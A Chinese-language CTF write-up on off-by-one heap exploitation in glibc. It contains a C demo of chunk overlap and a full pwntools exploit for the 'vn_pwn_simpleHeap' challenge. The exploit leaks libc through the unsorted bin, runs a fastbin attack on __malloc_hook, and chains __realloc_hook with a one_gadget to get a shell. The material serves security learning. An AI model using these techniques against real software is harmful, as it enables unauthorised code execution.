通过这个题目来学习 off-by-one
什么是off by one(null) ?
定义我也不知道,直接说我的理解。就是那种在用户输入时,一个循环处理边界问题或者是数组越界,对我们的输入没有很好的处理,就会导致一个字节的溢出(或者是strcpy处理不当)。
利用off-by-one
有师傅喜欢叫off-by-one 为一个字节的偷渡攻击
给攻击者发挥的攻击空间也只有一个字节,所以利用方式还是有一定限制的
我们最常利用的(或许是)手法是 堆块重叠(chunk extend),跟我之前讲过的“堆块怀孕”本质是一个东西,chunk extend 的利用条件如下:
1,能够进行堆空间的布局(即写入之类的功能)
2,至少能够溢出一个字节
其中第二个条件正好符合off-by-one的情景
利用过程:off-by-one + chunk extend
由于本人水平有限(wtcl orz
所以就举两个例子好了,一个是开启了Full RELRO,一个没开启
got表无防护的利用情景
既然got表无防护,那么我们可以利用这一个字节的溢出来改写got表,看详细的c代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main()
{
void *p,*q1,*r1,*q2,*r2,*got;
p = malloc(0x18); //index 0
q1 = malloc(0x20); //index 1
r1 = malloc(0x30); //index 2
memset(p+0x18,0x71,0x1);
free(q1);
free(r1);
q2 = malloc(0x60);
memset(q2+0x30,'A',0x8);
r2 = malloc(0x30);
got = malloc(0x30);
return 0;
}
思路是申请三个chunk,大小分别为0x18,0x20,0x30
第一个chunk用来出发off-by-one 漏洞,第二个chunk用来构筑堆块重叠,第三个chunk用来构筑 fake chunk,我们利用第一个chunk溢出一字节来改写第二个chunk的size位,然后将第三个chunk来包含进去,然后free两次,在malloc一次,拿到big chunk的控制权,通过向big chunk里写入内容,改写free small chunk的fd pointer(此时smaller chunk还是free态),接着malloc两次,我们就能够拿到一个fake chunk,如果fake chunk位于got表附近,那么我们便可以劫持got表项继而拿到shell
接下来我们看具体的调试过程。
malloc拿到三个堆块:
人为构造一个off-by-one来溢出一字节:
free两次,可以看到我们改写后的chunk已经变成了free态:
通过向big chunk里写内容可以改写fd pointer,可以看到2号chunk的pointer已经变成了‘AAAA’……
这个便是劫持got表的流程
got 表不可写:
对于got表项不可写的elf,我们可以借鉴fastbin attack的思路来攻击__malloc_hook函数,将__malloc_hook函数改写成one_gadget,触发malloc拿shell
思路很简单,大体思路和上面一样,然后三号chunk的fd pointer可以写成__malloc_hook+23的位置(字节错位,具体原因不再赘述),然后将__malloc_hook改写即可,注意的是,为了达到fastbin attack的目的,我们3号块的mem大小必须是0x60,因为要把0x7f的fake chunk链接在同一个bin中
题目解析:
逆向过程:
代码量尚可,off-by-one的漏洞还是有一定隐秘性的,具体的逆向分析不再赘述
注意两个点即可:
第一,本程序不存在UAF漏洞,即delete函数中对free的chunk处理的很好,把free态的指针数据都给清空了
第二,就是off-by-one的产生的位置
可以看到,if判断语句是小于号,也就是说当变量等于size+1的时候依然可以可以读入数据,这就是典型的off-by-one漏洞
pwn it !!!
思路分析
这个程序保护全开,所以我们不能攻击got表了,我们只能选择__malloc_hook函数,但是我们要想找到__malloc_hook函数,我们必须泄漏libc,但是程序只允许我们申请fastbin大小的chunk
这个题有一个很巧妙的泄漏libc的方法,就是将两个fastbin合并成一个unsortedbin,利用unsorted bin来泄漏main_arena + 88的位置,然后拿到libc基址。
具体思路是这样的,构造四个chunk:
chunk 0 : size 0x18
chunk 1 : size 0x50
chunk 2 : size 0x60
chunk 3 : size 0x10 (防止与top chunk合并)
我们通过off-by-one将1和2合并,free 1,这个时候1和2合并的chunk已经超过fastbin,进入unsorted bin,我们再malloc(0x50),这个时候unsorted bin就会切割下来0x50,剩下2号chunk留在unsorted bin里面,但是!!我们从始至终都没有free chunk 2,2号指针的控制权仍然在我们手中,所以我们可以打印2号chunk的内容,为什么呢?因为2号chunk在unsorted bin里,其fd 和 bk都是有内容的!!他们都指向了main_arena + 88,通过这一点,我们就能泄漏出libc的基地址
我们拿到基址后,就得想办法fastbin attack,有一种办法就是我们上文说的方法,构造三个fastbin chunk,自然是可以的,但是如果题目限制我们malloc次数,我们还有办法吗?(这个题目虽然限制次数,但是依然申请三次依然在允许的范围之内)
答案是有的,我们可以malloc(0x60),记成chunk 4,然后我们紧接着free 4,这么做的目的就是将这块chunk从unsorted bin中移动到 fastbin中,so 我们再次利用 allocated 态的2号pointer来edit,把fd位改成__malloc_hook - 0x23,然后one_gadget
但是这个题目在gadget的时候我们发现是有问题的,因为四个gadget的寄存器的条件我们均不满足,所以我们得借助__libc_realloc函数来调整寄存器的值,在__libc_realloc函数中会调用__realloc_hook函数,所以我们把one_gadget的位置打到__realloc_hook的位置,把__libc_realloc的地址打到__malloc_hook里面即可,令人兴奋的是,__realloc_hook的位置就在__malloc_hook的上方,这样我们的程序执行流程为,我们malloc--->触发__malloc_hook--->跳转到__libc_realloc调整寄存器--->触发__realloc_hook--->__realloc_hook是我们的one_gadget--->get shell !!!
__malloc_hook = fake_chunk_mem - 0x13
__realloc_hook = fake_chunk_mem - 0x13 - 0x5
漏洞利用
exp:(pwntools版本是python3的版本)
from pwn import *
local = 0
if local == 1:
sh = process('./vn_pwn_simpleHeap')
else:
sh = remote('node3.buuoj.cn',28903)
libc = ELF('./libc-2.23.so')
elf = ELF('./vn_pwn_simpleHeap')
def add(size,content):
sh.recvuntil('choice: ')
sh.sendline('1')
sh.sendlineafter('size?',str(size))
sh.sendafter('content:',content)
def edit(index,content):
sh.sendlineafter('choice: ','2')
sh.sendlineafter('idx?',str(index))
sh.sendafter('content',content)
def show(index):
sh.sendlineafter('choice: ','3')
sh.sendlineafter('idx?',str(index))
def delete(index):
sh.sendlineafter('choice: ','4')
sh.sendlineafter('idx?',index)
print("============================== 1: by using off-by-one we can do a overlapping chunk ===================== ")
add(0x18,b'A'*0x18) #index 0 0x18 because we use the next chunk prevsize double using
add(0x50,b'A') #index 1
add(0x60,b'A') #index 2
add(0x10,b'A') #index 3 to protect
edit(0,b'A' * 0x18 + b'\xd1') # off by one to change the "index 1" chunk's size
print("============================ 2: leak libc by unsortedbin ==================================== ")
delete('1')
add(0x50,'B')
show(2) #index 2 memorize the unsorted bin's fd pointer and bk pointer but we don't free index 2
main_arena_88 = u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
main_arena = main_arena_88 - 88
libc_base = (main_arena - 0x10) - libc.symbols['__malloc_hook'] #libc_base = __malloc_hook - __malloc_hook_offset
print(hex(libc_base))
print("================================ 3: fastbin attack ---> attack __malloc_hook-0x23 ================")
malloc_hook = libc_base + libc.symbols['__malloc_hook']
fake_chunk = malloc_hook - 0x23
print('the next,we use 2 pointers to point a same chunk!!!!!!!!!!!!!!!!!!!!!!!!!!')
add(0x60,b'A' * 16) #index 4
delete('2')
print('########################## actually , the free pointer "index 2" and the allocated pointer "index 4" point a same chunk ################')
print("######### we use the allocated pointer to write 'fd pointer' #############")
edit(4,p64(fake_chunk)+b'\n')
one_gadget = libc_base + 0x4526a #one_gadget
print("################# by gdb ,we find that we can't one_gadget.So we must change the stack(rsp) by __libc_realloc ################")
realloc_hook = libc_base + libc.symbols['__libc_realloc'] + 12
realloc_hook_1 = libc_base + 0x846CC
print("we change the '__malloc_hook' '__libc_realloc'(it will be call realloc_hook!!!) , 'realloc_hook' change to one_gadget !!!!")
print("'realloc_hook' in '__malloc_hook'-0x8 !!!!!!!! ")
payload = b'A' * (0x13 - 0x8) + p64(one_gadget) + p64(realloc_hook) + b'\n'
add(0x60,'A') #index 2 which fd pointer point fake chunk
add(0x60,payload) #index fake chunk
print("============================== 4: one_gadget ===========================")
sh.sendline('1')
sh.sendline('32')
sh.interactive()